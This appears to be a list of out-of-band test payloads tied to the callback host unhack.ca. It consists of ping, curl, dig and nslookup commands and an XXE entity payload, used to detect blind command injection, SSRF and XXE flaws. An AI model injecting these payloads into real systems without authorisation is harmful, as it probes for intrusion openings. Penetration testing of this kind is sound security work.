$ ping -c1 -p 0053d05821c4fabe43f6a387f4d4fa00 unhack.ca
 

$ curl http://unhack.ca/p/53d05821c4fabe43f6a387f4d4fa
 

$ dig 53d05821c4fabe43f6a387f4d4fa @unhack.ca
 

$ dig 53d05821c4fabe43f6a387f4d4fa.ns.unhack.ca
 

C:\> nslookup 53d05821c4fabe43f6a387f4d4fa unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/53d05821c4fabe43f6a387f4d4fa">]>
    <foo>&xxe;</foo>